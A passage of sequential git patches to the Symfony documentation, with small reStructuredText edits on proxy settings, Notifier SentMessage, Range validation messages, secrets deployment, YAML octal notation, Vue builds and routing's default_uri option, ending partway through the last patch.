Subject: [PATCH 0694/7107] Add reapply proxy settings on chrome tooltip

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index cf446c2f042..15f3866f098 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -201,7 +201,7 @@ Now run this command to start the proxy:
 
 .. note::
 
-    Some browsers (e.g. Chrome) require a full restart after starting the proxy.
+    Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page) or a full restart after starting the proxy.
     Otherwise, you'll see a *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``).
 
 Defining the Local Domain

From 416eb5b791288d5e1d76d5e29ebddd57d0ea68b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Mon, 4 May 2020 10:39:33 +0200
Subject: [PATCH 0695/7107] Add Notifier SentMessage

---
 notifier/chatters.rst | 8 ++++++--
 notifier/texters.rst  | 8 ++++++--
 2 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 17eac35885f..390be5de73a 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -32,12 +32,16 @@ you to send messages to chat services like Slack or Telegram::
                 // default transport (the first one configured)
                 ->transport('slack');
 
-            $chatter->send($message);
+            $sentMessage = $chatter->send($message);
 
             // ...
         }
     }
 
+The ``$sentMessage`` (instance of
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage`) returned by
+``send()`` contains info about the sent message.
+
 .. seealso::
 
     Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
@@ -46,7 +50,7 @@ you to send messages to chat services like Slack or Telegram::
 Adding Interactions to a Slack Message
 --------------------------------------
 
-With a Slack message, you can use the 
+With a Slack message, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add
 some interactive options called `Block elements`_::
 
diff --git a/notifier/texters.rst b/notifier/texters.rst
index d4a0a91aa55..bd9ec44ebcd 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -14,7 +14,7 @@ you to send SMS messages::
 
     // src/Controller/SecurityController.php
     namespace App\Controller;
-    
+
     use Symfony\Component\Notifier\Message\SmsMessage;
     use Symfony\Component\Notifier\TexterInterface;
     use Symfony\Component\Routing\Annotation\Route;
@@ -33,12 +33,16 @@ you to send SMS messages::
                 'A new login was detected!'
             );
 
-            $texter->send($sms);
+            $sentMessage = $texter->send($sms);
 
             // ...
         }
     }
 
+The ``$sentMessage`` (instance of
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage`) returned by
+``send()`` contains info about the sent message.
+
 .. seealso::
 
     Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how

From 7349e9102bcac7ae9841ada6c31ee738119f06f1 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 4 May 2020 19:05:57 +0200
Subject: [PATCH 0696/7107] Add missing traverse option in index

---
 reference/constraints/Traverse.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 134b6a9fad0..853a289e740 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -10,6 +10,7 @@ constraint.
 | Applies to     | :ref:`class <validation-class-target>`                                              |
 +----------------+-------------------------------------------------------------------------------------+
 | Options        | - `payload`_                                                                        |
+|                | - :ref:`traverse <traverse-option>`                                                 |
 +----------------+-------------------------------------------------------------------------------------+
 | Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`                       |
 +----------------+-------------------------------------------------------------------------------------+
@@ -142,6 +143,7 @@ Options
 
 The ``groups`` option is not available for this constraint.
 
+.. _traverse-option:
 
 ``traverse``
 ~~~~~~~~~~~~

From 2f89f55f2fb2a3566f3da9d0b870fde5fb752849 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Mon, 4 May 2020 23:51:14 +0200
Subject: [PATCH 0697/7107] Change "In Symfony 4" to "Since Symfony 4"

---
 setup/file_permissions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 4c65ac8325e..b18a02d4bab 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -2,7 +2,7 @@ Setting up or Fixing File Permissions
 =====================================
 
 In Symfony 3.x, you needed to do some extra work to make sure that your cache directory
-was writable. But that is no longer true! In Symfony 4, everything works automatically:
+was writable. But that is no longer true! Since Symfony 4, everything works automatically:
 
 * In the ``dev`` environment, ``umask()`` is used in ``bin/console`` and ``public/index.php``
   so that any created files are writable by everyone.

From 11d579933869cc74d58f844227c0fc2a299391a5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 May 2020 10:50:19 +0200
Subject: [PATCH 0698/7107] [String] Set characters to use in
 ByteString::fromRandom()

---
 components/string.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index f98c33c51b8..24d83df2b88 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -133,11 +133,19 @@ There are also some specialized constructors::
 
     // ByteString can create a random string of the given length
     $foo = ByteString::fromRandom(12);
+    // by default, random strings use A-Za-z0-9 characters; you can restrict
+    // the characters to use with the second optional argument
+    $foo = ByteString::fromRandom(6, 'AEIOU0123456789');
+    $foo = ByteString::fromRandom(10, 'qwertyuiop');
 
     // CodePointString and UnicodeString can create a string from code points
     $foo = UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
     // equivalent to: $foo = new UnicodeString('नमस्ते');
 
+.. versionadded:: 5.1
+
+    The second argument of ``ByteString::fromRandom()`` was introduced in Symfony 5.1.
+
 Methods to Transform String Objects
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 92e311eecf91a77199ce4b3889ae440a84246cd9 Mon Sep 17 00:00:00 2001
From: James Isaac <james@jamesisaac.com>
Date: Tue, 5 May 2020 15:37:45 +0100
Subject: [PATCH 0699/7107] Correct defintion of Range validation messages

---
 reference/constraints/Range.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index b19b00b35b7..ae7905a8522 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -56,8 +56,7 @@ you might add the following:
                     - Range:
                         min: 120
                         max: 180
-                        minMessage: You must be at least {{ limit }}cm tall to enter
-                        maxMessage: You cannot be taller than {{ limit }}cm to enter
+                        notInRangeMessage: You must be between {{ min }}cm and {{ max }}cm tall to enter
 
     .. code-block:: xml
 
@@ -72,8 +71,7 @@ you might add the following:
                     <constraint name="Range">
                         <option name="min">120</option>
                         <option name="max">180</option>
-                        <option name="minMessage">You must be at least {{ limit }}cm tall to enter</option>
-                        <option name="maxMessage">You cannot be taller than {{ limit }}cm to enter</option>
+                        <option name="notInRangeMessage">You must be between {{ min }}cm and {{ max }}cm tall to enter</option>
                     </constraint>
                 </property>
             </class>
@@ -94,8 +92,7 @@ you might add the following:
                 $metadata->addPropertyConstraint('height', new Assert\Range([
                     'min' => 120,
                     'max' => 180,
-                    'minMessage' => 'You must be at least {{ limit }}cm tall to enter',
-                    'maxMessage' => 'You cannot be taller than {{ limit }}cm to enter',
+                    'notInRangeMessage' => 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
                 ]));
             }
         }
@@ -350,7 +347,8 @@ maxMessage
 **type**: ``string`` **default**: ``This value should be {{ limit }} or less.``
 
 The message that will be shown if the underlying value is more than the
-`max`_ option.
+`max`_ option, and no `min`_ option has been defined (if both are defined, use
+`notInRangeMessage`_).
 
 You can use the following parameters in this message:
 
@@ -397,7 +395,8 @@ minMessage
 **type**: ``string`` **default**: ``This value should be {{ limit }} or more.``
 
 The message that will be shown if the underlying value is less than the
-`min`_ option.
+`min`_ option, and no `max`_ option has been defined (if both are defined, use
+`notInRangeMessage`_).
 
 You can use the following parameters in this message:
 

From 976f70988388c50b7bfa3ac360d1b2d5e28495b8 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Thu, 7 May 2020 15:23:09 +0200
Subject: [PATCH 0700/7107] Fix wrong Symfony listeners range

It seems to be between -256 and 256.

For example: https://github.com/symfony/symfony/blob/master/src/Symfony/Component/HttpKernel/EventListener/ValidateRequestListener.php#L51
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ec09b19e345..df546d7a9f8 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -131,7 +131,7 @@ listener class:
     and it controls the order in which listeners are executed (the higher the
     number, the earlier a listener is executed). This is useful when you need to
     guarantee that one listener is executed before another. The priorities of the
-    internal Symfony listeners usually range from ``-255`` to ``255`` but your
+    internal Symfony listeners usually range from ``-256`` to ``256`` but your
     own listeners can use any positive or negative integer.
 
 .. _events-subscriber:

From 2367b9fd3fd71a737a081bd2bfe5a59b1be089b6 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 8 May 2020 09:47:11 -0400
Subject: [PATCH 0701/7107] The Doctrine Messenger table can now be generated
 with a migration diff

---
 messenger.rst | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 74af085347e..5b9278c8dc9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -905,21 +905,15 @@ The Doctrine transport can be used to store messages in a database table.
 
 The format is ``doctrine://<connection_name>``, in case you have multiple connections
 and want to use one other than the "default". The transport will automatically create
-a table named ``messenger_messages`` (this is configurable) when the transport is
-first used. You can disable that with the ``auto_setup`` option and set the table
-up manually by calling the ``messenger:setup-transports`` command.
+a table named ``messenger_messages``.
 
-.. tip::
-
-    To avoid tools like Doctrine Migrations from trying to remove this table because
-    it's not part of your normal schema, you can set the ``schema_filter`` option:
+.. versionadded:: 5.1
 
-    .. code-block:: yaml
+    The ability to automatically generate a migration for the ``messenger_messages``
+    table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
 
-        # config/packages/doctrine.yaml
-        doctrine:
-            dbal:
-                schema_filter: '~^(?!messenger_messages)~'
+Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
+:ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
 The transport has a number of options:
 

From 3b50667ea9c7cb2db81bcaf7271d5166293fb6c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 May 2020 20:59:01 +0200
Subject: [PATCH 0702/7107] Minor tweak

---
 setup/symfony_server.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 15f3866f098..ef12d207d4d 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -201,8 +201,10 @@ Now run this command to start the proxy:
 
 .. note::
 
-    Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page) or a full restart after starting the proxy.
-    Otherwise, you'll see a *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``).
+    Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
+    ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)
+    or a full restart after starting the proxy. Otherwise, you'll see a
+    *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``).
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~

From d242734fcaa34906b39c4380d44f9f2e65755a22 Mon Sep 17 00:00:00 2001
From: Jannik <jz@becklyn.com>
Date: Tue, 5 May 2020 18:07:32 +0200
Subject: [PATCH 0703/7107] Fix invalid argument

---
 console/calling_commands.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 10eeb3fd1eb..d7b2c9918d7 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -20,7 +20,6 @@ Calling a command from another one is straightforward::
         $command = $this->getApplication()->find('demo:greet');
 
         $arguments = [
-            'command' => 'demo:greet',
             'name'    => 'Fabien',
             '--yell'  => true,
         ];

From 0bfcc791c44b21715ce940fe443fc3ae435dcf59 Mon Sep 17 00:00:00 2001
From: Robert Saylor <robert@customphpdesign.com>
Date: Sun, 3 May 2020 07:57:11 -0400
Subject: [PATCH 0704/7107] Update upgrade_major.rst

Mac OS will give error without the quotes.

zsh: no matches found: symfony/*
---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 9c51834e577..e1bf8a384fc 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -170,7 +170,7 @@ Next, use Composer to download new versions of the libraries:
 
 .. code-block:: terminal
 
-    $ composer update symfony/*
+    $ composer update "symfony/*"
 
 .. include:: /setup/_update_dep_errors.rst.inc
 

From 642b6318254e6cc81f1584a3aa69a0ca4c3e1ace Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 11 May 2020 16:25:10 +0200
Subject: [PATCH 0705/7107] Update secrets.rst

---
 configuration/secrets.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 65f59c8ce83..7df64966bee 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -237,18 +237,18 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
 
 1) Uploading the file:
 
-The first option is to copy the **decryption key** -
-``/config/secrets/prod/prod.decrypt.private.php`` to your server(s).
+The first option is to copy the **production decryption key** -
+``config/secrets/prod/prod.decrypt.private.php`` to your server(s).
 
 2) Using an Environment Variable
 
 The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
-to the base64 encoded value of the **decryption key**. A fancy way to fetch the
-value of the key is:
+to the base64 encoded value of the **production decryption key**.
+A fancy way to define it is:
 
 .. code-block:: terminal
 
-    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
+    $ export SYMFONY_DECRYPTION_SECRET=`php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'`
 
 To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
 your secrets during deployment to the "local" vault:
@@ -257,8 +257,8 @@ your secrets during deployment to the "local" vault:
 
     $ php bin/console secrets:decrypt-to-local --force --env=prod
 
-This will put all the decrypted secrets into ``.env.prod.local``. After doing this,
-the decryption key does *not* need to remain on the server.
+This will write all the decrypted secrets into the ``.env.prod.local`` file.
+After doing this, the decryption key does *not* need to remain on the server.
 
 Rotating Secrets
 ----------------

From a90bcf409129f3840e3e56c419d22228cbe54fe8 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 11 May 2020 18:57:57 +0200
Subject: [PATCH 0706/7107] Update events.rst

The exit code can't come from the terminate event since terminate is dispatched after the error event
---
 components/console/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index fa83e10189c..ae8aa494c29 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -122,7 +122,7 @@ Listeners receive a
 
         $output->writeln(sprintf('Oops, exception thrown while running command <info>%s</info>', $command->getName()));
 
-        // gets the current exit code (the exception code or the exit code set by a ConsoleEvents::TERMINATE event)
+        // gets the current exit code (the exception code)
         $exitCode = $event->getExitCode();
 
         // changes the exception to another one

From fcee1581490455073fa050f4ce4e36444b8b6e5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 May 2020 16:33:19 +0200
Subject: [PATCH 0707/7107] [Form] Added an html5 option to ColorType

---
 reference/forms/types/color.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index f6e4ec5ba58..a290b31e673 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -17,6 +17,8 @@ element.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``color`` field (a text box)                              |
 +-------------+---------------------------------------------------------------------+
+| Options     | - `html5`_                                                          |
++-------------+---------------------------------------------------------------------+
 | Inherited   | - `attr`_                                                           |
 | options     | - `data`_                                                           |
 |             | - `disabled`_                                                       |
@@ -41,6 +43,22 @@ element.
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Field Options
+-------------
+
+html5
+~~~~~
+
+**type**: ``bool`` **default**: ``false``
+
+.. versionadded:: 5.1
+
+    This option was introduced in Symfony 5.1.
+
+When this option is set to ``true``, the form type checks that its value matches
+the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
+you'll see the following error message: *"This value is not a valid HTML5 color"*.
+
 Inherited Options
 -----------------
 
@@ -83,3 +101,5 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. include:: /reference/forms/types/options/trim.rst.inc
+
+.. _`HTML5 color format`: https://www.w3.org/TR/html52/sec-forms.html#color-state-typecolor

From 56a4010c3f18a3db2676c65083fc968899fc43bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 May 2020 09:34:44 +0200
Subject: [PATCH 0708/7107] Deprecated the NumberToLocalizedStringTransformer
 constants

---
 .../forms/types/options/rounding_mode.rst.inc | 28 +++++++++++--------
 1 file changed, 17 insertions(+), 11 deletions(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 066a1da0a22..65aa7626e71 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -1,32 +1,38 @@
 rounding_mode
 ~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``NumberToLocalizedStringTransformer::ROUND_HALF_UP``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
-If a submitted number needs to be rounded (based on the `scale`_
-option), you have several configurable options for that rounding. Each
-option is a constant on the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`:
+If a submitted number needs to be rounded (based on the `scale`_ option), you
+have several configurable options for that rounding. Each option is a constant
+on the ``\NumberFormatter`` class:
 
-* ``NumberToLocalizedStringTransformer::ROUND_DOWN`` Round towards zero. It
+* ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It
   rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``.
 
-* ``NumberToLocalizedStringTransformer::ROUND_FLOOR`` Round towards negative
+* ``\NumberFormatter::ROUND_FLOOR`` Round towards negative
   infinity. It rounds ``1.4`` to ``1`` and ``-1.4`` to ``-2``.
 
-* ``NumberToLocalizedStringTransformer::ROUND_UP`` Round away from zero. It
+* ``\NumberFormatter::ROUND_UP`` Round away from zero. It
   rounds ``1.4`` to ``2`` and ``-1.4`` to ``-2``.
 
-* ``NumberToLocalizedStringTransformer::ROUND_CEILING`` Round towards positive
+* ``\NumberFormatter::ROUND_CEILING`` Round towards positive
   infinity. It rounds ``1.4`` to ``2`` and ``-1.4`` to ``-1``.
 
-* ``NumberToLocalizedStringTransformer::ROUND_HALF_DOWN`` Round towards the
+* ``\NumberFormatter::ROUND_HALFDOWN`` Round towards the
   "nearest neighbor". If both neighbors are equidistant, round down. It rounds
   ``2.5`` and ``1.6`` to ``2``, ``1.5`` and ``1.4`` to ``1``.
 
-* ``NumberToLocalizedStringTransformer::ROUND_HALF_EVEN`` Round towards the
+* ``\NumberFormatter::ROUND_HALFEVEN`` Round towards the
   "nearest neighbor". If both neighbors are equidistant, round towards the even
   neighbor. It rounds ``2.5``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
 
-* ``NumberToLocalizedStringTransformer::ROUND_HALF_UP`` Round towards the
+* ``\NumberFormatter::ROUND_HALFUP`` Round towards the
   "nearest neighbor". If both neighbors are equidistant, round up. It rounds
   ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+.. deprecated:: 5.1
+
+    In Symfony versions prior to 5.1, these constants were also defined as aliases
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
+    class, but they are now deprecated in favor of the ``\NumberFormatter`` constants.

From 4cac2828f77b2f5f99a09304dbcc538f30288762 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 May 2020 11:35:29 +0200
Subject: [PATCH 0709/7107] [Yaml] Added support for YAML 1.2 octal notation

---
 components/yaml/yaml_format.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 46d43a797be..509dd3f0709 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -122,7 +122,13 @@ Numbers
 .. code-block:: yaml
 
     # an octal
-    014
+    0o14
+
+.. versionadded:: 5.1
+
+    In YAML 1.1, octal numbers used the notation ``0...``, whereas in YAML 1.2
+    the notation changed to ``0o...``. Symfony 5.1 adds support for YAML 1.2
+    notation and deprecates support for YAML 1.1 notation.
 
 .. code-block:: yaml
 

From af24efab9a3b48323f0cece7eb8944d6d8687054 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 May 2020 14:39:40 +0200
Subject: [PATCH 0710/7107] Use the phpclass directive if possible

---
 reference/forms/types/options/rounding_mode.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 65aa7626e71..525f5d99cdf 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -5,7 +5,7 @@ rounding_mode
 
 If a submitted number needs to be rounded (based on the `scale`_ option), you
 have several configurable options for that rounding. Each option is a constant
-on the ``\NumberFormatter`` class:
+on the :phpclass:`NumberFormatter` class:
 
 * ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It
   rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``.
@@ -35,4 +35,4 @@ on the ``\NumberFormatter`` class:
 
     In Symfony versions prior to 5.1, these constants were also defined as aliases
     in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
-    class, but they are now deprecated in favor of the ``\NumberFormatter`` constants.
+    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.

From b37760214c490df6dd8aa69ef4fac1b78ae32c5e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 May 2020 15:40:30 +0200
Subject: [PATCH 0711/7107] [Workflow] Minor tweak in some method names

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 82afcba8cb5..621516a1eb9 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -336,8 +336,8 @@ Guard Events
 ~~~~~~~~~~~~
 
 There are a special kind of events called "Guard events". Their event listeners
-are invoked every time a call to ``Workflow::can``, ``Workflow::apply`` or
-``Workflow::getEnabledTransitions`` is executed. With the guard events you may
+are invoked every time a call to ``Workflow::can()``, ``Workflow::apply()`` or
+``Workflow::getEnabledTransitions()`` is executed. With the guard events you may
 add custom logic to decide which transitions should be blocked or not. Here is a
 list of the guard event names.
 

From 99bbbff7a9996bec9cd2bb89d718c6a1305c2fbd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 May 2020 10:44:56 +0200
Subject: [PATCH 0712/7107] Minor tweak

---
 components/yaml/yaml_format.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 509dd3f0709..ee13b80f26b 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -126,9 +126,9 @@ Numbers
 
 .. versionadded:: 5.1
 
-    In YAML 1.1, octal numbers used the notation ``0...``, whereas in YAML 1.2
-    the notation changed to ``0o...``. Symfony 5.1 adds support for YAML 1.2
-    notation and deprecates support for YAML 1.1 notation.
+    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
+    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
+    notation and deprecated support for YAML 1.1 notation.
 
 .. code-block:: yaml
 

From dd730de4ddc3fdcf7896bb21e738d09ac4ef8cf7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 May 2020 11:07:24 +0200
Subject: [PATCH 0713/7107] Use the deprecated directive

---
 components/yaml/yaml_format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index ee13b80f26b..0cca9901836 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -124,7 +124,7 @@ Numbers
     # an octal
     0o14
 
-.. versionadded:: 5.1
+.. deprecated:: 5.1
 
     In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
     the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2

From f6a15057795df299e9818dfab4da341aca3001d8 Mon Sep 17 00:00:00 2001
From: zulkris <40395500+zulkris@users.noreply.github.com>
Date: Wed, 13 May 2020 13:36:47 +0300
Subject: [PATCH 0714/7107] Update custom_normalizer.rst

$context is not supported by Symfony 3.4
---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 1794590c5c8..b82b61e8e07 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -47,7 +47,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, $format = null, array $context = [])
+        public function supportsNormalization($data, $format = null)
         {
             return $data instanceof Topic;
         }

From e7bff3fe4f999af237e8900784feb6e3231bd9e2 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Wed, 13 May 2020 07:12:32 -0400
Subject: [PATCH 0715/7107] adding info about Vue build

---
 frontend/encore/vuejs.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index ce6f69a888b..14963a0f9a6 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -23,6 +23,38 @@ Any ``.vue`` files that you require will be processed correctly. You can also
 configure the `vue-loader options`_ by passing an options callback to
 ``enableVueLoader()``. See the `Encore's index.js file`_ for detailed documentation.
 
+Runtime Compiler Build
+----------------------
+
+By default, Encore uses a Vue "build" that allows you to compile templates at
+runtime. This means that you *can* do either of these:
+
+.. code-block:: javascript
+
+    new Vue({
+        template: '<div>{{ hi }}</div>'
+    })
+
+    new Vue({
+        el: '#app', // where <div id="app"> in your DOM contains the Vue template
+    });
+
+If you do *not* need this functionality (e.g. you use single file components),
+then you can tell Encore to create a *smaller* and CSP-compliant build:
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .enableVueLoader(() => {}, { runtimeCompilerBuild: false })
+    ;
+
+You can also silence the recommendation by passing ``runtimeCompilerBuild: true``.
+
 Hot Module Replacement (HMR)
 ----------------------------
 

From e27ba498ee3ce06c83e9ce024a35f742f3f39348 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 May 2020 17:07:23 +0200
Subject: [PATCH 0716/7107] Documented the default_uri routing option

---
 routing.rst | 69 ++++++++++++++++++++++++++++++-----------------------
 1 file changed, 39 insertions(+), 30 deletions(-)

diff --git a/routing.rst b/routing.rst
index 76184d7c8ef..8c767881330 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2031,49 +2031,57 @@ Generating URLs in Commands
 
 Generating URLs in commands works the same as
 :ref:`generating URLs in services <routing-generating-urls-in-services>`. The
-only difference is that commands are not executed in the HTTP context, so they
-don't have access to HTTP requests. In practice, this means that if you generate
-absolute URLs, you'll get ``http://localhost/`` as the host name instead of your
-real host name.
+only difference is that commands are not executed in the HTTP context. Therefore,
+if you generate absolute URLs, you'll get ``http://localhost/`` as the host name
+instead of your real host name.
 
-The solution is to configure the "request context" used by commands when they
-generate URLs. This context can be configured globally for all commands:
+The solution is to configure the ``default_uri`` option to define the
+"request context" used by commands when they generate URLs:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/services.yaml
-        parameters:
-            router.request_context.host: 'example.org'
-            router.request_context.base_url: 'my/path'
-            asset.request_context.base_path: '%router.request_context.base_url%'
+        # config/packages/routing.yaml
+        framework:
+            router:
+                # ...
